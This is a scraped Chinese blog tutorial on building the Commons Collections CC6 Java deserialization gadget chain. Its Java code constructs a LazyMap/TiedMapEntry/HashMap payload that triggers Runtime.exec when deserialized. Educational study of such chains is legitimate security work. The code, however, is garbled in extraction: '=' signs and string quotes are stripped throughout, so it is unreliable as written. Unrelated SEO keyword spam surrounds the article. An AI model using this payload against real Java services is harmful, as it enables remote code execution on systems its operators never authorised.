当前位置: 首页 > news >正文

怎么看网站有没有做百度推广网站设计步骤及注意事项

怎么看网站有没有做百度推广,网站设计步骤及注意事项,phpcms模板,西部数码注册域名一、前因因为在jdk8u71之后的版本中#xff0c;sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化#xff0c;导致CC1中的两个链条都不能使用#xff0c;所有我们需要找一个在高版本中也可用的链条。/* Gadget chain: java.io.ObjectInputStr…一、前因因为在jdk8u71之后的版本中sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化导致CC1中的两个链条都不能使用所有我们需要找一个在高版本中也可用的链条。/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() */从上可以看出我们在LazyMap#get部分到Runtime.exec部分的都没有变化只是上面的调用部分发生了改变所以说解决java高版本利用问题实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方。二、解决办法如上就是找到的类为org.apache.commons.collections.keyvalue.TiedMapEntry在其getValue方法中调用了this.map.get。而其hashCode方法调用了getValue方法所以欲触发LazyMap利⽤链要找到就是哪⾥调⽤了TiedMapEntry#hashCodeysoserial中是利⽤java.util.HashSet#readObject 到HashMap#put() 到HashMap#hash(key)最后到TiedMapEntry#hashCode() 。实际上在java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调⽤去掉了最前⾯的两次调⽤在HashMap的readObject⽅法中调⽤到了hash(key) ⽽hash⽅法中调⽤到了key.hashCode() 。所以我们只需要让这个key等于TiedMapEntry对象即可连接上前⾯的分析过程构成⼀个完整的Gadget。三、代码构造1.前面的没有变化构造一个恶意的LazyMap为了避免本地调试时触发命令执行构造LazyMap的时候先⽤了⼀个⼈畜⽆害的fakeTransformers 对象等最后要⽣成Payload的时候再把真正的transformers 替换进去。Transformer[] fakeTransformers new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer(exec, new Class[] { String.class }, new String[] { calc.exe }),new ConstantTransformer(1), }; Transformer transformerChain new ChainedTransformer(fakeTransformers); Map innerMap new HashMap(); Map outerMap LazyMap.decorate(innerMap, transformerChain);2.拿到了⼀个恶意的LazyMap对象outerMap 将其作为TiedMapEntry的map属性TiedMapEntry tme new TiedMapEntry(outerMap, keykey);3.写入HashMap为了调⽤TiedMapEntry#hashCode() 我们需要将tme 对象作为HashMap 的⼀个key。注意这⾥我们需要新建⼀个HashMap⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap两者没任何关系Map expMap new HashMap(); expMap.put(tme, valuevalue); outerMap.remove(keykey);为什么上面第三行有一个outerMap.remove(keykey);主要是因为我在expMap.put(tme, valuevalue); 这个语句⾥⾯HashMap的put⽅法中也有调⽤到hash(key) ,这⾥就导致LazyMap 这个利⽤链在这⾥被调⽤了⼀遍因为前⾯⽤了fakeTransformers 所以此时并没有触发命令执⾏但实际上也对我们构造Payload产⽣了影响。所以只需要将这个移除即可。4.替换transformers数组这里利用了反射调用了修改属性的方式进行替换Field f ChainedTransformer.class.getDeclaredField(iTransformers); f.setAccessible(true); f.set(transformerChain, transformers);5.本地测试ByteArrayOutputStream barr new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();ObjectInputStream objectInputStream new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); objectInputStream.readObject();
http://www.w-s-a.com/news/505662/

相关文章:

  • 安顺公司做网站福州建设发展集团有限公司网站
  • 普陀企业网站建设做散客机票的网站如何推广
  • 河北网站建设与制作建设宁波市分行的互联网网站
  • python做网站是不是特别慢百度推广基木鱼
  • 卖网站链接东营住房和城乡建设信息网
  • 网站后台如何上传ico图标单位建设网站需要的材料
  • 如何建淘客网站郑州做网站最好的公司
  • 连锁酒店网站方案o2o网站建设方案
  • 功能型网站响应式网站原理
  • 聊城建设网站骨干校 建设网站
  • 网站建设与管理是干嘛的中国新闻社是什么单位
  • 帮别人做视频剪辑的网站传业做微采商城网站
  • 设计一个网站开发方案宣传片制作企业
  • 新网站收录多少关键词免费一键网站
  • 网页制作与网站建设 在线作业手表网站制作照片
  • 电商网站开发技术与维护重庆建筑工程交易信息网
  • 人和马做的网站线上营销推广方式
  • 青海教育厅门户网站有赞商城
  • 网站建设多语种自动翻译插件wordpress谷歌翻译插件
  • 泰安高级网站建设推广wordpress教程 好看
  • 我自己的网站怎么做关键词优化泰安网站建设dxkjw
  • 平面设计做画册用网站泰州seo平台
  • 申请一个域名后怎么做网站evernote wordpress
  • 网站左侧导航栏设计网站开发后台数据怎么来
  • 临西做网站报价网站建设需要写语句吗
  • 建设网站网站首页购物网站开发代码
  • 淘宝客怎么建立网站网站360优化
  • 安徽建海建设工程有限公司网站网站空间和域名价格
  • 农产品网站建设策划哪里有做枪网站的
  • 更改各网站企业信息怎么做张家港企业网站制作